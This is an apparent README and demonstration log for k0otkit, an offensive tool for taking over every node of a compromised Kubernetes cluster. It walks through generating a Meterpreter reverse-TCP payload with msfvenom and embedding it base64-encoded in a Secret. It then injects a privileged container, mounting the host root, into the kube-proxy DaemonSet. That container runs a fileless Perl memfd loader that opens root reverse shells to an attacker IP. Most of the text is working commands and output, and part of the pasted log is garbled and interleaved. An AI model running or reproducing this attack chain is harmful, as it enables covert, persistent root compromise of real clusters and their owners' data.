K0Otkit - Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters

k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.

With k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).

k0otkit is the combination of Kubernetes and rootkit.

Prerequisite:

k0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).

Scenario:

After Web penetration, you get a shell of the target. If necessary, you manage to escalate the privilege and make it. You find the target environment is a container (Pod) in a Kubernetes cluster. You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques). You get a root shell of the master node and are able to instruct the cluster with kubectl on the master node as admin. Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!

k0otkit is detailed in k0otkit: Hack K8s in a K8s Way.

Usage

Make sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectl command in k0otkit_template.sh to use the token or certification.)

Make sure you have installed Metasploit on your attacker host (msfvenom and msfconsole should be available).

Deploy k0otkit

Clone this repository:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Replace the attacker's IP and port in pre_exp.sh with your own IP and port:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Generate k0otkit:

k0otkit.sh will be generated. Then run the reverse shell handler:

./handle_multi_reverse_shell.sh

Once the handler is ready, copy the content of k0otkit.sh and paste it into your shell on the master node of the target Kubernetes, then press <Enter> to execute it.

Wait a moment and enjoy reverse shells from all nodes :)

P.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.

Interact with Shells

After the successful deployment of k0otkit, you can interact with any reverse shell as you want:

# within msfconsole
sessions 1

Features

utilize K8s resources and features (hack K8s in a K8s way) dynamic container injection communication encryption (thanks to Meterpreter) fileless

Example

Generate k0otkit:

[email protected]:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAx MDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Run the reverse shell handler:

[email protected]:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Copy the content of k0otkit.sh into your shell on the master node of the target Kubernetes and press <Enter>:

[email protected]:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
[email protected]:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metad ata:
name: $secret_name
namespace:volume_name=cache
[email protected]:~#
[email protected]:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubecroxy-cache
[email protected]:~#
[email protected]:~# ctr_n ame=kube-proxy-cache
[email protected]:~#
[email protected]:~# binary_file=/usr/local/bin/kube-proxy-cache
[email protected]:~#
[email protected]:~# payload_name=cache
[email protected]:~#
[email protected]:~# secret_name=proxy-cache
[email protected]:~#
[email protected]:~# secret_data_name=content
[email protected]:~#
[email protected]:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <ST DIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/

[email protected]:~#
[email protected]:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
[email protected]:~#
[email protected]:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
[email protected]:~#
[email protected]:~# # create payload secret
[email protected]:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
> name: $secret_name
> namespace: kube-system
> type: Opaque
> data:
> $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
[email protected]:~#
[email protected]:~# # assume that ctr_line_num < volume_line_num
[email protected]:~# # otherwise you should switch the two sed commands below
[email protected]:~#
[email protected] im-2:~# # inject malicious container into kube-proxy pod
[email protected]:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
> | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
> | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\ n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
> | kubectl replace -f -
daemonset.extensions/kube-proxy replaced

Wait for reverse shells:

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500

msf5 exploit(multi/handler) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

Function 1 Exit & Re-connect:

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.106 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

Function 2 Escape to & Control Node:

msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin
40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot
40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev
40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 etc
40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 home
100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img
100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.old
40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib64
40700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 lost+found
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt
40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 opt
40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc
40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root
40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run
40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin
40755/rwxr-xr-x 4096 dir 2020-03-03 03:02:37 -0500 snap
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv
40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys
41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp
40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr
40755/rwxr-xr-x 4096 dir 2020-03-03 02:5 1:25 -0500 var
100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz
100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.old